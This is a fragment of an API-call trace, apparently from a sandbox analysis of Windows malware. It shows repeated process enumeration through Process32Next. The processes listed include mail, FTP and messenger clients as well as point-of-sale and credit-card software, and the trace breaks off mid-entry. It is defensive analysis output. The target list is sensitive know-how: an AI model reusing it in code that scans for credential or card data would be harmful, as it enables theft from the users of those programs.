lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0262.243] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0262.245] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0262.248] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0262.251] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0262.254] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0262.257] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0262.260] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0262.262] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0262.266] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0262.268] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0262.272] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0262.275] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0262.279] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0262.282] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0262.284] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0262.287] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0262.290] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0262.292] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0262.295] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0262.298] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0262.301] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0262.303] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0262.306] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0262.309] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0262.311] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0262.314] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0262.317] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0262.321] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0262.324] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0262.326] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0262.404] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0262.443] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0262.446] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0262.448] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0262.450] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0262.452] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0262.454] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0262.456] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0262.458] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0262.460] CloseHandle (hObject=0x2200) returned 1 [0262.460] Sleep (dwMilliseconds=0x64) [0262.461] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0262.477] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0262.478] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0262.480] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0262.482] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0262.484] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0262.485] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0262.487] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0262.489] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0262.491] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0262.492] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.494] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.496] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0262.498] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.499] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.501] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.503] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.504] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.506] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.508] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.509] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0262.511] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0262.513] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0262.515] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.516] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0262.518] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0262.520] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0262.522] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0262.523] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0262.525] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0262.526] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0262.528] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.531] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0262.533] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0262.534] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0262.536] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.537] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0262.539] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0262.541] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0262.542] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0262.544] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0262.546] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0262.548] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0262.549] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0262.582] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, 